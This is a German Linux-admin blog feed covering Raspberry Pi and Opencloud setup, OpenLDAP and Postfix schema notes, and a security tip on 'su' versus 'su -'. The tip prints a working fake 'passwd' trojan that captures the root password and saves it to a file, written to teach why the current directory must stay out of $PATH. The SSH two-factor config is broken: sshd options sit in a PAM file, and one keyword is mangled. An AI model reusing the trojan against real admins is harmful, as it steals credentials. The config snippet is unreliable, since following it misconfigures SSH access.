Dieses ist der erste Artikel einer Reihe in der ich über die Erfahrungen und die Installation einer Opencloud-Instanz auf einem Raspberry berichten werde. Angefangen von der Installation des Pi bis zur Konfiguration der Opencloud-Instanz.

Warum Opencloud, es gibt doch schon so viele andere Cloud-Lösungen? Ich habe mich für Opencloud entschieden, weil die gesamte Entwicklung in Deutschland stattfindet und die Software auf dem aktuellen Stand ist. Auch ist die Installation recht einfach, alle Funktionen werden über Docker compose bereitgestellt. Außerdem wird mit Opencloud gleich collaborate als browserbasierte Officelösung eingerichtet. Mehr zu Opencloud unter www.opencloud.eu.

Warum überhaupt eine eigene Lösung hier zu Hause? Alles was es sonst so gibt, wird entweder irgendwo in den USA gespeichert (wer will das noch) oder kostet mehr als das was ich für den Raspberry, die ssd und alles was drumherum benötigt wird, bezahlt habe. Klar, um die Backups muss ich mich selber kümmern, aber das geht dann auch später automatisch.

Im ersten Artikel geht es erst einmal um die Grundeinrichtung des Raspberry.

Als Grundlage dient ein Raspberry 4 mit 8 Gb RAM und einer 32GB SD-Karte für das Betriebssystem. Für die Daten habe ich eine 4TB ssd gekauft und über den USB-3 Port mit dem Raspberry verbunden. Da sollte für eine Heimanwendung ausreichen.

Nach der Installation von Raspbian (Debian 12) geht es erst einmal um die Absicherung der Zugriffe. Dazu wird der sshd angepasst und der Google-Authenticator installiert um später eine zwei Faktor Authentifizierung durchführen zu können. Eine Anmeldung per einfachem Passwort soll später nicht mehr möglich sein.

Installation des Google-Authenticators

sudo apt install libpam-google-authenticator

Anschließend muss die Datei /etc/pam.d/ssh wie folgt anpassen:

port 2222
# @include common-auth
auth required pam_google_authenticator.so
AuthenticationMethods publickey,keyAuthenticationboard-interactive
KbdInteractiveAuthentication yes

Die include-Zeile muss auskommentiert werden, da sonst der Inhalt der Datei common-auth alles übersteuert auch die gerade gesetzt Verwendung des Google-Authenticators.

Anschließend wird der sssd neu gestartet, um die Änderungen wirksam werden zu lassen. Rufen Sie jetzt auf dem Raspberry als Benutzer das Programm google-authenticator auf, das Programm leitet Sie durch die Einrichtung. Scannen Sie den QR-Code mit einer entsprechenden App auf Ihrem Smartphone um den zweiten Faktor generieren zu können.

Damit der Raspberry auch von Außen erreichbar ist, benötigen Sie einen DNS A-Record der dynamisch aktualisiert wird. Ich habe dafür ein Konto bei no-ip.com eingerichtet. Hier können Sie dann später auch die cname-Records für Opencloud einrichten.

Zusätzlich müssen Sie auf Ihrem Internet-Router eine Portweiterleitung auf den Port 2222 (dem geänderten ssh-Port) und schon mal auf Port 443 einrichten, sodass später die Zugriffe aus dem Internet auf Ihren Raspberry weitergeleitet werden.

Wenn Sie alle diese Einrichtungen vorgenommen haben, sollte ein Zugriff über den dynamischen A-Record möglich sein. Wenn die Installation und Konfiguration von Opencloud abgeschlossen ist, wird später noch ein iptables-Skript hinzukommen, das dann noch ssh-Angriffe und Portscanns blocken soll. Da aber bei der Installation von Opencloud bereits ein Firewallskript, basierend auf iptables, eingerichtet wird, hänge ich mein Skript später nur an die bestehende Konfiguration an.
Damit wäre dann der erste Teil, die Vorbereitung des Raspberry, abgeschlossen.

Im zweiten Teil geht es dann um die Installation und Konfiguration von Opencloud inklusive der Einrichtung der DNS-Records bei no-ip.

Heute habe ich den ersten Teil der neuen Ansible-Rollen für die Erstellung einer multi Providerumgebung in mein git-Repository hochgeladen. Die Rollen stehen nicht nur für die Besitzer des Ansible-Buchs zur Verfügung, sonder können auch so genutzt werden. Die Rollen sind Bestandteil der Downloads zum Buch und können komplett mit dem Kommando „git clone https://github.com/stkania/openldap-in-der-praxis“ heruntergeladen werden.

Im zweiten Teil wird es dann Rollen für die Einrichtung von Kerberos und der Einbindung in OpenLDAP geben.

Bei OpenLDAP werden sich zum Anfang des Jahres 2025 die Versionen wie folgt ändern:

• Die Version 2.5 wird auslaufen, bekommt aber noch bis 15.01.2027 Sicherheitsupdates. Nach diesem Datum bekommt die Version den Status „historical“ und erhält dann keine Updates oder Sicherheitspatches mehr.
• Die Version 2.6 wird zur neuen LTS-Version werden.
• Im Herbst 2024 wird die Version 2.7 erscheinen, bei dieser Version handelt es sich um die neue „feature Release“ Version. Also mit allen Neuerungen.

Die Umstellung vom 2.5 auf 2.6 kann mit der laufenden Konfiguration stattfinden. Nur beim Einsatz des Loadbalancers muss die Konfiguration angepasst werden.

Die Replikation zwischen Version 2.5 und 2.6 läuft ohne Probleme, so kann ein Server nach dem anderen Umgestellt werden.

Für die Verwaltung von Postfix-Abfragen werden die beiden Attribute mailacceptinggeneralid und maildrop benötigt. Leider gibt es kein Standardschema in dem diese beiden Attribute vorhanden sind. Eine Lösung dafür wird hier angeboten. Aber dort gibt es nur das Schema für die Einbindung über die slapd.conf, die LDIF-Datei für die dynamische Konfiguration fehlt hier leider. Ich habe die Datei umgewandelt und stelle sie hier zum Download bereit. Die LDIF-Datei für das Schema können Sie einfach mit dem Kommando ldapadd -Y external -H ldapi:/// -f postfix.ldif in die Konfiguration eingefügt. Anschließend können Sie die Objektklasse allen Benutzer zuweisen. Da beide Attribute nur MAY-Attribute sind, kann die Objektklasse auch ohne Werte den Benutzern zugewiesen werden.

Was ist aber mit dem LAM? Kann der LAM erweitert werden, sodass beim Anlegen eines Benutzer die Objektklasse und die Attribute gleich vergeben werden können? Ja, das geht, aber nur in der LAM-Pro Version. Dazu wird das Profil des LDAP-Servers im LAM angepasst. Die folgenden Schritte sind dafür notwendig:

Nach dem Öffnen des Profiles wird im Karteireiter Module, das Modul customFields zum Benutzer hinzugefügt.

Dann auf den Karteireiter Moduleinstellung wechseln, das neue Modul suchen, einen Alias-Name eintragen:

und anschließen auf Neue Gruppe anlegen klicken. Daraufhin wird das Fenster um die Möglichkeit der Eingabe einer Objektklasse erweitert. Hier tragen Sie die Objektklasse PostfixUser ein. Jetzt fehlen dann nur noch die beiden Felder für die beiden Attribute der Objektklasse. Um die Felder zur Gruppe hinzuzufügen klicken Sie auf „Feld hinzufügen“.

Im nächsten Bild sehen Sie, am Beispiel des Attributs maildrop, wie Sie die Felder hinzufügen. Bei beiden Feldern handelt es sich um Textfelder.

Wenn Sie beide Felder hinzugefügt haben, können Sie bei der Beschriftung der Gruppe noch einen Namen vergeben. Dieser Name wird dann als zusätzliches Feld beim Anlegen eines Benutzer angezeigt.
Speichern Sie die Änderungen und melden Sie sich anschließend am LDAP-Server an. Wenn Sie jetzt einen neuen Benutzer anlegen, sehen Sie die neue Gruppe und können dann dort die Werte ergänzen.

Mal was einfaches zum Thema Sicherheit in Linux-Systemen. Es müssen nicht immer die großen Klatschen sein, kleine Dinge helfen da auch.

Immer wieder (oder sagen wir leider immer noch) sehe ich, dass beim Wechsel zum root-Konto auf einem System nur „su“ und nicht „su -„ eingegeben wird. Auch in Bereichen an denen sonst alles soooooo super abgesichert ist. Aber was ist das Problem dabei?

Bei einem einfachen „su“ behält der Benutzer „root“ die Umgebung, mit allen gesetzten Variablen, auch „$PATH“. Wenn jetzt der Benutzer das aktuelle Verzeichnis, also „.“ an den Anfang von „$PATH“ setzt, werden alle eingegebenen Kommandos immer erst im aktuellen Verzeichnis gesucht. Ganz schön dumm. Denn so kann ein Benutzer dem Admin mal schnell ein kleines Skript unterjubeln und damit das Passwort abfangen. Schön ist da sowas:

#!/bin/bash
PWALT=““
PWNEU1=““
PWNEU2=““
echo „Passworts für $USER wird geändert.“
echo -n „Geben Sie das aktuelle Passwort ein: “
stty -echo
read PWALT
echo „“
stty echo
echo -n „Geben Sie ein neues Passwort ein: “
stty -echo
read PWNEU1
echo „“
stty echo
echo -n  „Geben Sie das neue Passwort erneut ein: “
stty -echo
read PWNEU2
echo „“
stty echo
sleep 2
echo „Die Passwörter stimmen nicht überein.“
echo „passwd: Bearbeitungssfehler des Legitimierungszeichens“
echo „passwd: Passwort nicht geändert“
echo $PWALT > ${HOME}/passklau
echo $PWNEU1 >> ${HOME}/passklau  
echo $PWNEU2 >> ${HOME}/passklau  
mv passwd.bash passwd1.bash

Das Skript wird mit dem name passwd abgespeichert. Wenn jetzt der Admin, nach der Eingabe von „su“ sein Passwort ändern will, ruft er das Skript auf. Na vertippen kann sich jeder mal. Beim zweiten Aufruf klappt es dann ja, also alles Ok.

Wird stattdessen „su -“ genutzt, ist das identisch mit einem Login, der „root“ erhält seine eigene Umgebung und würde nicht in Falle laufen.

Sie sehen, es macht Sinn „su -“ zu nutzen und es ist absolut Sinnvoll, dass das aktuelle Verzeichnis NICHT in $PATH eingetragen ist.